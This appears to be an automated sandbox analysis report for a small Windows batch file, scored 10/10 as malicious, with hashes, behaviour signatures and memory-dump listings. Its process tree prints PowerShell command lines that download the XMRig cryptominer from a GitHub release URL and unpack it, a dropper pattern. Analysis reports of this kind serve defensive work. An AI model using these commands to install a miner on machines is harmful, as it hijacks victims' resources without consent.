04cf0194fb37bcc19b2b63904d84a74c720b64b7938620fdf971bb98a8f47ccd

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
22-12-2023 05:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

tesy - Copy (13).bat
Size

608B
MD5

727c8da0478af118c957ae60f7161cab
SHA1

cf18105b8659e93bbd2824fa35ef1bae7b395301
SHA256

97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
SHA512

d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2928	powershell.exe
6	2928	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2928	powershell.exe
2824	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2928	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 2928	3044	cmd.exe	29
PID 3044 wrote to memory of 2928	3044	cmd.exe	29
PID 3044 wrote to memory of 2928	3044	cmd.exe	29
PID 3044 wrote to memory of 2824	3044	cmd.exe	30
PID 3044 wrote to memory of 2824	3044	cmd.exe	30
PID 3044 wrote to memory of 2824	3044	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (13).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2824

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3LENDHPYOE5NVJBC25U5.temp

Filesize
7KB

MD5
eb38d210d429aabdde9185cd46cba84a

SHA1
4df202e25f505bb23d40855aad92d334fab3f209

SHA256
adfae30898d10bbd4fd861aaf50cc50b530d11a7029edca647a97fb8223bba57

SHA512
1d12e3323fa1fe105e55215bef9ebfafe2ccb3abee2dbc2aa66af4c2f5ff768514201162a64ff7de700936ad3903479d3dd1c677e3e2fa621b3e6c98e81c6670

Download Submit
memory/2824-26-0x000007FEF5860000-0x000007FEF61FD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-20-0x000007FEF5860000-0x000007FEF61FD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-25-0x0000000002C80000-0x0000000002D00000-memory.dmp

Filesize
512KB

Download
memory/2824-23-0x0000000002C80000-0x0000000002D00000-memory.dmp

Filesize
512KB

Download
memory/2824-24-0x0000000002C80000-0x0000000002D00000-memory.dmp

Filesize
512KB

Download
memory/2824-22-0x000007FEF5860000-0x000007FEF61FD000-memory.dmp

Filesize
9.6MB

Download
memory/2824-21-0x0000000001C10000-0x0000000001C18000-memory.dmp

Filesize
32KB

Download
memory/2824-19-0x000000001B5F0000-0x000000001B8D2000-memory.dmp

Filesize
2.9MB

Download
memory/2928-7-0x0000000002D90000-0x0000000002E10000-memory.dmp

Filesize
512KB

Download
memory/2928-13-0x000007FEF6200000-0x000007FEF6B9D000-memory.dmp

Filesize
9.6MB

Download
memory/2928-12-0x0000000002D90000-0x0000000002E10000-memory.dmp

Filesize
512KB

Download
memory/2928-11-0x0000000002D90000-0x0000000002E10000-memory.dmp

Filesize
512KB

Download
memory/2928-10-0x000007FEF6200000-0x000007FEF6B9D000-memory.dmp

Filesize
9.6MB

Download
memory/2928-6-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/2928-4-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/2928-9-0x0000000002D90000-0x0000000002E10000-memory.dmp

Filesize
512KB

Download
memory/2928-8-0x0000000002D90000-0x0000000002E10000-memory.dmp

Filesize
512KB

Download
memory/2928-5-0x000007FEF6200000-0x000007FEF6B9D000-memory.dmp

Filesize
9.6MB

Download